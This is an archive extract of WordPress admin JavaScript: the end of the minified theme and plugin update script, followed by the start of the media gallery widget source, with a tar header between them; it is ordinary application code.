td").length,content:s})),h.trigger("wp-plugin-delete-error",e))},g.updates.updateTheme=function(e){var t;return e=_.extend({success:g.updates.updateThemeSuccess,error:g.updates.updateThemeError},e),(t=("themes-network"===pagenow?c('[data-slug="'+e.slug+'"]').find(".update-message").removeClass("notice-error").addClass("updating-message notice-warning"):(t="customize"===pagenow?((t=c('[data-slug="'+e.slug+'"].notice').removeClass("notice-large")).find("h3").remove(),t.add(c("#customize-control-installed_theme_"+e.slug).find(".update-message"))):((t=c("#update-theme").closest(".notice").removeClass("notice-large")).find("h3").remove(),t.add(c('[data-slug="'+e.slug+'"]').find(".update-message")))).addClass("updating-message")).find("p")).html()!==f("Updating...")&&t.data("originaltext",t.html()),g.a11y.speak(f("Updating... please wait.")),t.text(f("Updating...")),h.trigger("wp-theme-updating",e),g.updates.ajax("update-theme",e)},g.updates.updateThemeSuccess=function(e){var t,a,s=c("body.modal-open").length,n=c('[data-slug="'+e.slug+'"]'),l={className:"updated-message notice-success notice-alt",message:i("Updated!","theme")};"customize"===pagenow?((n=c(".updating-message").siblings(".theme-name")).length&&(a=n.html().replace(e.oldVersion,e.newVersion),n.html(a)),t=c(".theme-info .notice").add(g.customize.control("installed_theme_"+e.slug).container.find(".theme").find(".update-message"))):"themes-network"===pagenow?(t=n.find(".update-message"),a=n.find(".theme-version-author-uri").html().replace(e.oldVersion,e.newVersion),n.find(".theme-version-author-uri").html(a),n.find(".auto-update-time").empty()):(t=c(".theme-info .notice").add(n.find(".update-message")),s?(c(".load-customize:visible").trigger("focus"),c(".theme-info .theme-autoupdate").find(".auto-update-time").empty()):n.find(".load-customize").trigger("focus")),g.updates.addAdminNotice(_.extend({selector:t},l)),g.a11y.speak(f("Update completed successfully.")),g.updates.decrementCount("theme"),h.trigger("wp-theme-update-success",e),s&&"customize"!==pagenow&&c(".theme-info .theme-author").after(g.updates.adminNotice(l))},g.updates.updateThemeError=function(e){var t,a=c('[data-slug="'+e.slug+'"]'),s=r(f("Update failed: %s"),e.errorMessage);g.updates.isValidResponse(e,"update")&&!g.updates.maybeHandleCredentialError(e,"update-theme")&&("customize"===pagenow&&(a=g.customize.control("installed_theme_"+e.slug).container.find(".theme")),"themes-network"===pagenow?t=a.find(".update-message "):(t=c(".theme-info .notice").add(a.find(".notice")),(c("body.modal-open").length?c(".load-customize:visible"):a.find(".load-customize")).trigger("focus")),g.updates.addAdminNotice({selector:t,className:"update-message notice-error notice-alt is-dismissible",message:s}),g.a11y.speak(s),h.trigger("wp-theme-update-error",e))},g.updates.installTheme=function(e){var t=c('.theme-install[data-slug="'+e.slug+'"]');return e=_.extend({success:g.updates.installThemeSuccess,error:g.updates.installThemeError},e),t.addClass("updating-message"),t.parents(".theme").addClass("focus"),t.html()!==f("Installing...")&&t.data("originaltext",t.html()),t.attr("aria-label",r(i("Installing %s...","theme"),t.data("name"))).text(f("Installing...")),g.a11y.speak(f("Installing... please wait.")),c('.install-theme-info, [data-slug="'+e.slug+'"]').removeClass("theme-install-failed").find(".notice.notice-error").remove(),h.trigger("wp-theme-installing",e),g.updates.ajax("install-theme",e)},g.updates.installThemeSuccess=function(e){var t,a=c(".wp-full-overlay-header, [data-slug="+e.slug+"]");h.trigger("wp-theme-install-success",e),t=a.find(".button-primary").removeClass("updating-message").addClass("updated-message disabled").attr("aria-label",r(i("%s installed!","theme"),e.themeName)).text(i("Installed!","theme")),g.a11y.speak(f("Installation completed successfully.")),setTimeout(function(){e.activateUrl&&(t.attr("href",e.activateUrl).removeClass("theme-install updated-message disabled").addClass("activate"),"themes-network"===pagenow?t.attr("aria-label",r(i("Network Activate %s","theme"),e.themeName)).text(f("Network Enable")):t.attr("aria-label",r(i("Activate %s","theme"),e.themeName)).text(f("Activate"))),e.customizeUrl&&t.siblings(".preview").replaceWith(function(){return c("<a>").attr("href",e.customizeUrl).addClass("button load-customize").text(f("Live Preview"))})},1e3)},g.updates.installThemeError=function(e){var t,a=r(f("Installation failed: %s"),e.errorMessage),s=g.updates.adminNotice({className:"update-message notice-error notice-alt",message:a});g.updates.isValidResponse(e,"install")&&!g.updates.maybeHandleCredentialError(e,"install-theme")&&("customize"===pagenow?(h.find("body").hasClass("modal-open")?(t=c('.theme-install[data-slug="'+e.slug+'"]'),c(".theme-overlay .theme-info").prepend(s)):(t=c('.theme-install[data-slug="'+e.slug+'"]')).closest(".theme").addClass("theme-install-failed").append(s),g.customize.notifications.remove("theme_installing")):h.find("body").hasClass("full-overlay-active")?(t=c('.theme-install[data-slug="'+e.slug+'"]'),c(".install-theme-info").prepend(s)):t=c('[data-slug="'+e.slug+'"]').removeClass("focus").addClass("theme-install-failed").append(s).find(".theme-install"),t.removeClass("updating-message").attr("aria-label",r(i("%s installation failed","theme"),t.data("name"))).text(f("Installation failed.")),g.a11y.speak(a,"assertive"),h.trigger("wp-theme-install-error",e))},g.updates.deleteTheme=function(e){var t;return"themes"===pagenow?t=c(".theme-actions .delete-theme"):"themes-network"===pagenow&&(t=c('[data-slug="'+e.slug+'"]').find(".row-actions a.delete")),e=_.extend({success:g.updates.deleteThemeSuccess,error:g.updates.deleteThemeError},e),t&&t.html()!==f("Deleting...")&&t.data("originaltext",t.html()).text(f("Deleting...")),g.a11y.speak(f("Deleting...")),c(".theme-info .update-message").remove(),h.trigger("wp-theme-deleting",e),g.updates.ajax("delete-theme",e)},g.updates.deleteThemeSuccess=function(n){var e=c('[data-slug="'+n.slug+'"]');"themes-network"===pagenow&&e.css({backgroundColor:"#faafaa"}).fadeOut(350,function(){var e=c(".subsubsub"),t=c(this),a=m.themes,s=g.template("item-deleted-row");t.hasClass("plugin-update-tr")||t.after(s({slug:n.slug,colspan:c("#bulk-action-form").find("thead th:not(.hidden), thead td").length,name:t.find(".theme-title strong").text()})),t.remove(),-1!==_.indexOf(a.upgrade,n.slug)&&(a.upgrade=_.without(a.upgrade,n.slug),g.updates.decrementCount("theme")),-1!==_.indexOf(a.disabled,n.slug)&&(a.disabled=_.without(a.disabled,n.slug),a.disabled.length?e.find(".disabled .count").text("("+a.disabled.length+")"):e.find(".disabled").remove()),-1!==_.indexOf(a["auto-update-enabled"],n.slug)&&(a["auto-update-enabled"]=_.without(a["auto-update-enabled"],n.slug),a["auto-update-enabled"].length?e.find(".auto-update-enabled .count").text("("+a["auto-update-enabled"].length+")"):e.find(".auto-update-enabled").remove()),-1!==_.indexOf(a["auto-update-disabled"],n.slug)&&(a["auto-update-disabled"]=_.without(a["auto-update-disabled"],n.slug),a["auto-update-disabled"].length?e.find(".auto-update-disabled .count").text("("+a["auto-update-disabled"].length+")"):e.find(".auto-update-disabled").remove()),a.all=_.without(a.all,n.slug),e.find(".all .count").text("("+a.all.length+")")}),"themes"===pagenow&&_.find(_wpThemeSettings.themes,{id:n.slug}).hasUpdate&&g.updates.decrementCount("theme"),g.a11y.speak(i("Deleted!","theme")),h.trigger("wp-theme-delete-success",n)},g.updates.deleteThemeError=function(e){var t=c('tr.inactive[data-slug="'+e.slug+'"]'),a=c(".theme-actions .delete-theme"),s=g.template("item-update-row"),n=t.siblings("#"+e.slug+"-update"),l=r(f("Deletion failed: %s"),e.errorMessage),i=g.updates.adminNotice({className:"update-message notice-error notice-alt",message:l});g.updates.maybeHandleCredentialError(e,"delete-theme")||("themes-network"===pagenow?n.length?(n.find(".notice-error").remove(),n.find(".plugin-update").append(i)):t.addClass("update").after(s({slug:e.slug,colspan:c("#bulk-action-form").find("thead th:not(.hidden), thead td").length,content:i})):c(".theme-info .theme-description").before(i),a.html(a.data("originaltext")),g.a11y.speak(l,"assertive"),h.trigger("wp-theme-delete-error",e))},g.updates._addCallbacks=function(e,t){return"import"===pagenow&&"install-plugin"===t&&(e.success=g.updates.installImporterSuccess,e.error=g.updates.installImporterError),e},g.updates.queueChecker=function(){var e;if(!g.updates.ajaxLocked&&g.updates.queue.length)switch((e=g.updates.queue.shift()).action){case"install-plugin":g.updates.installPlugin(e.data);break;case"update-plugin":g.updates.updatePlugin(e.data);break;case"delete-plugin":g.updates.deletePlugin(e.data);break;case"install-theme":g.updates.installTheme(e.data);break;case"update-theme":g.updates.updateTheme(e.data);break;case"delete-theme":g.updates.deleteTheme(e.data)}},g.updates.requestFilesystemCredentials=function(e){!1===g.updates.filesystemCredentials.available&&(e&&!g.updates.$elToReturnFocusToFromCredentialsModal&&(g.updates.$elToReturnFocusToFromCredentialsModal=c(e.target)),g.updates.ajaxLocked=!0,g.updates.requestForCredentialsModalOpen())},g.updates.maybeRequestFilesystemCredentials=function(e){g.updates.shouldRequestFilesystemCredentials&&!g.updates.ajaxLocked&&g.updates.requestFilesystemCredentials(e)},g.updates.keydown=function(e){27===e.keyCode?g.updates.requestForCredentialsModalCancel():9===e.keyCode&&("upgrade"!==e.target.id||e.shiftKey?"hostname"===e.target.id&&e.shiftKey&&(c("#upgrade").trigger("focus"),e.preventDefault()):(c("#hostname").trigger("focus"),e.preventDefault()))},g.updates.requestForCredentialsModalOpen=function(){var e=c("#request-filesystem-credentials-dialog");c("body").addClass("modal-open"),e.show(),e.find("input:enabled:first").trigger("focus"),e.on("keydown",g.updates.keydown)},g.updates.requestForCredentialsModalClose=function(){c("#request-filesystem-credentials-dialog").hide(),c("body").removeClass("modal-open"),g.updates.$elToReturnFocusToFromCredentialsModal&&g.updates.$elToReturnFocusToFromCredentialsModal.trigger("focus")},g.updates.requestForCredentialsModalCancel=function(){(g.updates.ajaxLocked||g.updates.queue.length)&&(_.each(g.updates.queue,function(e){h.trigger("credential-modal-cancel",e)}),g.updates.ajaxLocked=!1,g.updates.queue=[],g.updates.requestForCredentialsModalClose())},g.updates.showErrorInCredentialsForm=function(e){var t=c("#request-filesystem-credentials-form");t.find(".notice").remove(),t.find("#request-filesystem-credentials-title").after('<div class="notice notice-alt notice-error"><p>'+e+"</p></div>")},g.updates.credentialError=function(e,t){e=g.updates._addCallbacks(e,t),g.updates.queue.unshift({action:t,data:e}),g.updates.filesystemCredentials.available=!1,g.updates.showErrorInCredentialsForm(e.errorMessage),g.updates.requestFilesystemCredentials()},g.updates.maybeHandleCredentialError=function(e,t){return!(!g.updates.shouldRequestFilesystemCredentials||!e.errorCode||"unable_to_connect_to_filesystem"!==e.errorCode||(g.updates.credentialError(e,t),0))},g.updates.isValidResponse=function(e,t){var a,s=f("Something went wrong.");if(_.isObject(e)&&!_.isFunction(e.always))return!0;switch(_.isString(e)&&"-1"===e?s=f("An error has occurred. Please reload the page and try again."):_.isString(e)?s=e:void 0!==e.readyState&&0===e.readyState?s=f("Connection lost or the server is busy. Please try again later."):_.isString(e.responseText)&&""!==e.responseText?s=e.responseText:_.isString(e.statusText)&&(s=e.statusText),t){case"update":a=f("Update failed: %s");break;case"install":a=f("Installation failed: %s");break;case"delete":a=f("Deletion failed: %s")}return s=s.replace(/<[\/a-z][^<>]*>/gi,""),a=a.replace("%s",s),g.updates.addAdminNotice({id:"unknown_error",className:"notice-error is-dismissible",message:_.escape(a)}),g.updates.ajaxLocked=!1,g.updates.queue=[],c(".button.updating-message").removeClass("updating-message").removeAttr("aria-label").prop("disabled",!0).text(f("Update failed.")),c(".updating-message:not(.button):not(.thickbox)").removeClass("updating-message notice-warning").addClass("notice-error").find("p").removeAttr("aria-label").text(a),g.a11y.speak(a,"assertive"),!1},g.updates.beforeunload=function(){if(g.updates.ajaxLocked)return f("Updates may not complete if you navigate away from this page.")},c(function(){var l=c("#plugin-filter"),o=c("#bulk-action-form"),e=c("#request-filesystem-credentials-form"),t=c("#request-filesystem-credentials-dialog"),a=c(".plugins-php .wp-filter-search"),s=c(".plugin-install-php .wp-filter-search");(m=_.extend(m,window._wpUpdatesItemCounts||{})).totals&&g.updates.refreshCount(),g.updates.shouldRequestFilesystemCredentials=0<t.length,t.on("submit","form",function(e){e.preventDefault(),g.updates.filesystemCredentials.ftp.hostname=c("#hostname").val(),g.updates.filesystemCredentials.ftp.username=c("#username").val(),g.updates.filesystemCredentials.ftp.password=c("#password").val(),g.updates.filesystemCredentials.ftp.connectionType=c('input[name="connection_type"]:checked').val(),g.updates.filesystemCredentials.ssh.publicKey=c("#public_key").val(),g.updates.filesystemCredentials.ssh.privateKey=c("#private_key").val(),g.updates.filesystemCredentials.fsNonce=c("#_fs_nonce").val(),g.updates.filesystemCredentials.available=!0,g.updates.ajaxLocked=!1,g.updates.queueChecker(),g.updates.requestForCredentialsModalClose()}),t.on("click",'[data-js-action="close"], .notification-dialog-background',g.updates.requestForCredentialsModalCancel),e.on("change",'input[name="connection_type"]',function(){c("#ssh-keys").toggleClass("hidden","ssh"!==c(this).val())}).trigger("change"),h.on("credential-modal-cancel",function(e,t){var a,s=c(".updating-message");"import"===pagenow?s.removeClass("updating-message"):"plugins"===pagenow||"plugins-network"===pagenow?"update-plugin"===t.action?a=c('tr[data-plugin="'+t.data.plugin+'"]').find(".update-message"):"delete-plugin"===t.action&&(a=c('[data-plugin="'+t.data.plugin+'"]').find(".row-actions a.delete")):"themes"===pagenow||"themes-network"===pagenow?"update-theme"===t.action?a=c('[data-slug="'+t.data.slug+'"]').find(".update-message"):"delete-theme"===t.action&&"themes-network"===pagenow?a=c('[data-slug="'+t.data.slug+'"]').find(".row-actions a.delete"):"delete-theme"===t.action&&"themes"===pagenow&&(a=c(".theme-actions .delete-theme")):a=s,a&&a.hasClass("updating-message")&&(void 0===(s=a.data("originaltext"))&&(s=c("<p>").html(a.find("p").data("originaltext"))),a.removeClass("updating-message").html(s),"plugin-install"!==pagenow&&"plugin-install-network"!==pagenow||("update-plugin"===t.action?a.attr("aria-label",r(i("Update %s now","plugin"),a.data("name"))):"install-plugin"===t.action&&a.attr("aria-label",r(i("Install %s now","plugin"),a.data("name"))))),g.a11y.speak(f("Update canceled."))}),o.on("click","[data-plugin] .update-link",function(e){var t=c(e.target),a=t.parents("tr");e.preventDefault(),t.hasClass("updating-message")||t.hasClass("button-disabled")||(g.updates.maybeRequestFilesystemCredentials(e),g.updates.$elToReturnFocusToFromCredentialsModal=a.find(".check-column input"),g.updates.updatePlugin({plugin:a.data("plugin"),slug:a.data("slug")}))}),l.on("click",".update-now",function(e){var t=c(e.target);e.preventDefault(),t.hasClass("updating-message")||t.hasClass("button-disabled")||(g.updates.maybeRequestFilesystemCredentials(e),g.updates.updatePlugin({plugin:t.data("plugin"),slug:t.data("slug")}))}),l.on("click",".install-now",function(e){var t=c(e.target);e.preventDefault(),t.hasClass("updating-message")||t.hasClass("button-disabled")||(g.updates.shouldRequestFilesystemCredentials&&!g.updates.ajaxLocked&&(g.updates.requestFilesystemCredentials(e),h.on("credential-modal-cancel",function(){c(".install-now.updating-message").removeClass("updating-message").text(f("Install Now")),g.a11y.speak(f("Update canceled."))})),g.updates.installPlugin({slug:t.data("slug")}))}),h.on("click",".importer-item .install-now",function(e){var t=c(e.target),a=c(this).data("name");e.preventDefault(),t.hasClass("updating-message")||(g.updates.shouldRequestFilesystemCredentials&&!g.updates.ajaxLocked&&(g.updates.requestFilesystemCredentials(e),h.on("credential-modal-cancel",function(){t.removeClass("updating-message").attr("aria-label",r(i("Install %s now","plugin"),a)).text(f("Install Now")),g.a11y.speak(f("Update canceled."))})),g.updates.installPlugin({slug:t.data("slug"),pagenow:pagenow,success:g.updates.installImporterSuccess,error:g.updates.installImporterError}))}),o.on("click","[data-plugin] a.delete",function(e){var t=c(e.target).parents("tr"),a=t.hasClass("is-uninstallable")?r(f("Are you sure you want to delete %s and its data?"),t.find(".plugin-title strong").text()):r(f("Are you sure you want to delete %s?"),t.find(".plugin-title strong").text());e.preventDefault(),window.confirm(a)&&(g.updates.maybeRequestFilesystemCredentials(e),g.updates.deletePlugin({plugin:t.data("plugin"),slug:t.data("slug")}))}),h.on("click",".themes-php.network-admin .update-link",function(e){var t=c(e.target),a=t.parents("tr");e.preventDefault(),t.hasClass("updating-message")||t.hasClass("button-disabled")||(g.updates.maybeRequestFilesystemCredentials(e),g.updates.$elToReturnFocusToFromCredentialsModal=a.find(".check-column input"),g.updates.updateTheme({slug:a.data("slug")}))}),h.on("click",".themes-php.network-admin a.delete",function(e){var t=c(e.target).parents("tr"),a=r(f("Are you sure you want to delete %s?"),t.find(".theme-title strong").text());e.preventDefault(),window.confirm(a)&&(g.updates.maybeRequestFilesystemCredentials(e),g.updates.deleteTheme({slug:t.data("slug")}))}),o.on("click",'[type="submit"]:not([name="clear-recent-list"])',function(e){var t,s,n=c(e.target).siblings("select").val(),a=o.find('input[name="checked[]"]:checked'),l=0,i=0,d=[];switch(pagenow){case"plugins":case"plugins-network":t="plugin";break;case"themes-network":t="theme";break;default:return}if(!a.length)return e.preventDefault(),c("html, body").animate({scrollTop:0}),g.updates.addAdminNotice({id:"no-items-selected",className:"notice-error is-dismissible",message:f("Please select at least one item to perform this action on.")});switch(n){case"update-selected":s=n.replace("selected",t);break;case"delete-selected":var u=f("plugin"===t?"Are you sure you want to delete the selected plugins and their data?":"Caution: These themes may be active on other sites in the network. Are you sure you want to proceed?");if(!window.confirm(u))return void e.preventDefault();s=n.replace("selected",t);break;default:return}g.updates.maybeRequestFilesystemCredentials(e),e.preventDefault(),o.find('.manage-column [type="checkbox"]').prop("checked",!1),h.trigger("wp-"+t+"-bulk-"+n,a),a.each(function(e,t){var t=c(t),a=t.parents("tr");"update-selected"!==n||a.hasClass("update")&&!a.find("notice-error").length?"update-selected"===n&&a.hasClass("is-enqueued")||(a.addClass("is-enqueued"),g.updates.queue.push({action:s,data:{plugin:a.data("plugin"),slug:a.data("slug")}})):t.prop("checked",!1)}),h.on("wp-plugin-update-success wp-plugin-update-error wp-theme-update-success wp-theme-update-error",function(e,t){var a,s=c('[data-slug="'+t.slug+'"]');"wp-"+t.update+"-update-success"===e.type?l++:(e=t.pluginName||s.find(".column-primary strong").text(),i++,d.push(e+": "+t.errorMessage)),s.find('input[name="checked[]"]:checked').prop("checked",!1),g.updates.adminNotice=g.template("wp-bulk-updates-admin-notice"),g.updates.addAdminNotice({id:"bulk-action-notice",className:"bulk-action-notice",successes:l,errors:i,errorMessages:d,type:t.update}),a=c("#bulk-action-notice").on("click","button",function(){c(this).toggleClass("bulk-action-errors-collapsed").attr("aria-expanded",!c(this).hasClass("bulk-action-errors-collapsed")),a.find(".bulk-action-errors").toggleClass("hidden")}),0<i&&!g.updates.queue.length&&c("html, body").animate({scrollTop:0})}),h.on("wp-updates-notice-added",function(){g.updates.adminNotice=g.template("wp-updates-admin-notice")}),g.updates.queueChecker()}),s.length&&s.attr("aria-describedby","live-search-desc"),s.on("keyup input",_.debounce(function(e,t){var a=c(".plugin-install-search"),s={_ajax_nonce:g.updates.ajaxNonce,s:encodeURIComponent(e.target.value),tab:"search",type:c("#typeselector").val(),pagenow:pagenow},n=location.href.split("?")[0]+"?"+c.param(_.omit(s,["_ajax_nonce","pagenow"]));"keyup"===e.type&&27===e.which&&(e.target.value=""),g.updates.searchTerm===s.s&&"typechange"!==t||(l.empty(),g.updates.searchTerm=s.s,window.history&&window.history.replaceState&&window.history.replaceState(null,"",n),a.length||(a=c('<li class="plugin-install-search" />').append(c("<a />",{class:"current",href:n,text:f("Search Results")})),c(".wp-filter .filter-links .current").removeClass("current").parents(".filter-links").prepend(a),l.prev("p").remove(),c(".plugins-popular-tags-wrapper").remove()),void 0!==g.updates.searchRequest&&g.updates.searchRequest.abort(),c("body").addClass("loading-content"),g.updates.searchRequest=g.ajax.post("search-install-plugins",s).done(function(e){c("body").removeClass("loading-content"),l.append(e.items),delete g.updates.searchRequest,0===e.count?g.a11y.speak(f("You do not appear to have any plugins available at this time.")):g.a11y.speak(r(f("Number of plugins found: %d"),e.count))}))},1e3)),a.length&&a.attr("aria-describedby","live-search-desc"),a.on("keyup input",_.debounce(function(e){var s={_ajax_nonce:g.updates.ajaxNonce,s:encodeURIComponent(e.target.value),pagenow:pagenow,plugin_status:"all"};"keyup"===e.type&&27===e.which&&(e.target.value=""),g.updates.searchTerm!==s.s&&(g.updates.searchTerm=s.s,e=_.object(_.compact(_.map(location.search.slice(1).split("&"),function(e){if(e)return e.split("=")}))),s.plugin_status=e.plugin_status||"all",window.history&&window.history.replaceState&&window.history.replaceState(null,"",location.href.split("?")[0]+"?s="+s.s+"&plugin_status="+s.plugin_status),void 0!==g.updates.searchRequest&&g.updates.searchRequest.abort(),o.empty(),c("body").addClass("loading-content"),c(".subsubsub .current").removeClass("current"),g.updates.searchRequest=g.ajax.post("search-plugins",s).done(function(e){var t=c("<span />").addClass("subtitle").html(r(f("Search results for: %s"),"<strong>"+_.escape(decodeURIComponent(s.s))+"</strong>")),a=c(".wrap .subtitle");s.s.length?a.length?a.replaceWith(t):c(".wp-header-end").before(t):(a.remove(),c(".subsubsub ."+s.plugin_status+" a").addClass("current")),c("body").removeClass("loading-content"),o.append(e.items),delete g.updates.searchRequest,0===e.count?g.a11y.speak(f("No plugins found. Try a different search.")):g.a11y.speak(r(f("Number of plugins found: %d"),e.count))}))},500)),h.on("submit",".search-plugins",function(e){e.preventDefault(),c("input.wp-filter-search").trigger("input")}),h.on("click",".try-again",function(e){e.preventDefault(),s.trigger("input")}),c("#typeselector").on("change",function(){var e=c('input[name="s"]');e.val().length&&e.trigger("input","typechange")}),c("#plugin_update_from_iframe").on("click",function(e){var t=window.parent===window?null:window.parent;c.support.postMessage=!!window.postMessage,!1!==c.support.postMessage&&null!==t&&-1===window.parent.location.pathname.indexOf("update-core.php")&&(e.preventDefault(),e={action:"update-plugin",data:{plugin:c(this).data("plugin"),slug:c(this).data("slug")}},t.postMessage(JSON.stringify(e),window.location.origin))}),c("#plugin_install_from_iframe").on("click",function(e){var t=window.parent===window?null:window.parent;c.support.postMessage=!!window.postMessage,!1!==c.support.postMessage&&null!==t&&-1===window.parent.location.pathname.indexOf("index.php")&&(e.preventDefault(),e={action:"install-plugin",data:{slug:c(this).data("slug")}},t.postMessage(JSON.stringify(e),window.location.origin))}),c(window).on("message",function(e){var t,e=e.originalEvent,a=document.location.protocol+"//"+document.location.host;if(e.origin===a){try{t=JSON.parse(e.data)}catch(e){return}if(t&&void 0!==t.action)switch(t.action){case"decrementUpdateCount":g.updates.decrementCount(t.upgradeType);break;case"install-plugin":case"update-plugin":window.tb_remove(),t.data=g.updates._addCallbacks(t.data,t.action),g.updates.queue.push(t),g.updates.queueChecker()}}}),c(window).on("beforeunload",g.updates.beforeunload),h.on("keydown",".column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update",function(e){32===e.which&&e.preventDefault()}),h.on("click keyup",".column-auto-updates .toggle-auto-update, .theme-overlay .toggle-auto-update",function(e){var i,d,u,o=c(this),r=o.attr("data-wp-action"),p=o.find(".label");if(("keyup"!==e.type||32===e.which)&&(u="themes"!==pagenow?o.closest(".column-auto-updates"):o.closest(".theme-autoupdate"),e.preventDefault(),"yes"!==o.attr("data-doing-ajax"))){switch(o.attr("data-doing-ajax","yes"),pagenow){case"plugins":case"plugins-network":d="plugin",i=o.closest("tr").attr("data-plugin");break;case"themes-network":d="theme",i=o.closest("tr").attr("data-slug");break;case"themes":d="theme",i=o.attr("data-slug")}u.find(".notice.notice-error").addClass("hidden"),"enable"===r?p.text(f("Enabling...")):p.text(f("Disabling...")),o.find(".dashicons-update").removeClass("hidden"),e={action:"toggle-auto-updates",_ajax_nonce:m.ajax_nonce,state:r,type:d,asset:i},c.post(window.ajaxurl,e).done(function(e){var t,a,s,n,l=o.attr("href");if(e.success){if("themes"!==pagenow){switch(n=c(".auto-update-enabled span"),t=c(".auto-update-disabled span"),a=parseInt(n.text().replace(/[^\d]+/g,""),10)||0,s=parseInt(t.text().replace(/[^\d]+/g,""),10)||0,r){case"enable":++a,--s;break;case"disable":--a,++s}a=Math.max(0,a),s=Math.max(0,s),n.text("("+a+")"),t.text("("+s+")")}"enable"===r?(o[0].hasAttribute("href")&&(l=l.replace("action=enable-auto-update","action=disable-auto-update"),o.attr("href",l)),o.attr("data-wp-action","disable"),p.text(f("Disable auto-updates")),u.find(".auto-update-time").removeClass("hidden"),g.a11y.speak(f("Auto-updates enabled"))):(o[0].hasAttribute("href")&&(l=l.replace("action=disable-auto-update","action=enable-auto-update"),o.attr("href",l)),o.attr("data-wp-action","enable"),p.text(f("Enable auto-updates")),u.find(".auto-update-time").addClass("hidden"),g.a11y.speak(f("Auto-updates disabled"))),h.trigger("wp-auto-update-setting-changed",{state:r,type:d,asset:i})}else n=e.data&&e.data.error?e.data.error:f("The request could not be completed."),u.find(".notice.notice-error").removeClass("hidden").find("p").text(n),g.a11y.speak(n,"assertive")}).fail(function(){u.find(".notice.notice-error").removeClass("hidden").find("p").text(f("The request could not be completed.")),g.a11y.speak(f("The request could not be completed."),"assertive")}).always(function(){o.removeAttr("data-doing-ajax").find(".dashicons-update").addClass("hidden")})}})})}(jQuery,window.wp,window._wpUpdatesSettings);media-gallery-widget.js.tar000064400000030000150276633100011660 0ustar00home/natitnen/crestassured.com/wp-admin/js/widgets/media-gallery-widget.js000064400000024162150273702300022735 0ustar00/**
 * @output wp-admin/js/widgets/media-gallery-widget.js
 */

/* eslint consistent-this: [ "error", "control" ] */
(function( component ) {
	'use strict';

	var GalleryWidgetModel, GalleryWidgetControl, GalleryDetailsMediaFrame;

	/**
	 * Custom gallery details frame.
	 *
	 * @since 4.9.0
	 * @class    wp.mediaWidgets~GalleryDetailsMediaFrame
	 * @augments wp.media.view.MediaFrame.Post
	 */
	GalleryDetailsMediaFrame = wp.media.view.MediaFrame.Post.extend(/** @lends wp.mediaWidgets~GalleryDetailsMediaFrame.prototype */{

		/**
		 * Create the default states.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		createStates: function createStates() {
			this.states.add([
				new wp.media.controller.Library({
					id:         'gallery',
					title:      wp.media.view.l10n.createGalleryTitle,
					priority:   40,
					toolbar:    'main-gallery',
					filterable: 'uploaded',
					multiple:   'add',
					editable:   true,

					library:  wp.media.query( _.defaults({
						type: 'image'
					}, this.options.library ) )
				}),

				// Gallery states.
				new wp.media.controller.GalleryEdit({
					library: this.options.selection,
					editing: this.options.editing,
					menu:    'gallery'
				}),

				new wp.media.controller.GalleryAdd()
			]);
		}
	} );

	/**
	 * Gallery widget model.
	 *
	 * See WP_Widget_Gallery::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @since 4.9.0
	 *
	 * @class    wp.mediaWidgets.modelConstructors.media_gallery
	 * @augments wp.mediaWidgets.MediaWidgetModel
	 */
	GalleryWidgetModel = component.MediaWidgetModel.extend(/** @lends wp.mediaWidgets.modelConstructors.media_gallery.prototype */{} );

	GalleryWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_gallery.prototype */{

		/**
		 * View events.
		 *
		 * @since 4.9.0
		 * @type {object}
		 */
		events: _.extend( {}, component.MediaWidgetControl.prototype.events, {
			'click .media-widget-gallery-preview': 'editMedia'
		} ),

		/**
		 * Gallery widget control.
		 *
		 * See WP_Widget_Gallery::enqueue_admin_scripts() for amending prototype from PHP exports.
		 *
		 * @constructs wp.mediaWidgets.controlConstructors.media_gallery
		 * @augments   wp.mediaWidgets.MediaWidgetControl
		 *
		 * @since 4.9.0
		 * @param {Object}         options - Options.
		 * @param {Backbone.Model} options.model - Model.
		 * @param {jQuery}         options.el - Control field container element.
		 * @param {jQuery}         options.syncContainer - Container element where fields are synced for the server.
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			component.MediaWidgetControl.prototype.initialize.call( control, options );

			_.bindAll( control, 'updateSelectedAttachments', 'handleAttachmentDestroy' );
			control.selectedAttachments = new wp.media.model.Attachments();
			control.model.on( 'change:ids', control.updateSelectedAttachments );
			control.selectedAttachments.on( 'change', control.renderPreview );
			control.selectedAttachments.on( 'reset', control.renderPreview );
			control.updateSelectedAttachments();

			/*
			 * Refresh a Gallery widget partial when the user modifies one of the selected attachments.
			 * This ensures that when an attachment's caption is updated in the media modal the Gallery
			 * widget in the preview will then be refreshed to show the change. Normally doing this
			 * would not be necessary because all of the state should be contained inside the changeset,
			 * as everything done in the Customizer should not make a change to the site unless the
			 * changeset itself is published. Attachments are a current exception to this rule.
			 * For a proposal to include attachments in the customized state, see #37887.
			 */
			if ( wp.customize && wp.customize.previewer ) {
				control.selectedAttachments.on( 'change', function() {
					wp.customize.previewer.send( 'refresh-widget-partial', control.model.get( 'widget_id' ) );
				} );
			}
		},

		/**
		 * Update the selected attachments if necessary.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		updateSelectedAttachments: function updateSelectedAttachments() {
			var control = this, newIds, oldIds, removedIds, addedIds, addedQuery;

			newIds = control.model.get( 'ids' );
			oldIds = _.pluck( control.selectedAttachments.models, 'id' );

			removedIds = _.difference( oldIds, newIds );
			_.each( removedIds, function( removedId ) {
				control.selectedAttachments.remove( control.selectedAttachments.get( removedId ) );
			});

			addedIds = _.difference( newIds, oldIds );
			if ( addedIds.length ) {
				addedQuery = wp.media.query({
					order: 'ASC',
					orderby: 'post__in',
					perPage: -1,
					post__in: newIds,
					query: true,
					type: 'image'
				});
				addedQuery.more().done( function() {
					control.selectedAttachments.reset( addedQuery.models );
				});
			}
		},

		/**
		 * Render preview.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
			var control = this, previewContainer, previewTemplate, data;

			previewContainer = control.$el.find( '.media-widget-preview' );
			previewTemplate = wp.template( 'wp-media-widget-gallery-preview' );

			data = control.previewTemplateProps.toJSON();
			data.attachments = {};
			control.selectedAttachments.each( function( attachment ) {
				data.attachments[ attachment.id ] = attachment.toJSON();
			} );

			previewContainer.html( previewTemplate( data ) );
		},

		/**
		 * Determine whether there are selected attachments.
		 *
		 * @since 4.9.0
		 * @return {boolean} Selected.
		 */
		isSelected: function isSelected() {
			var control = this;

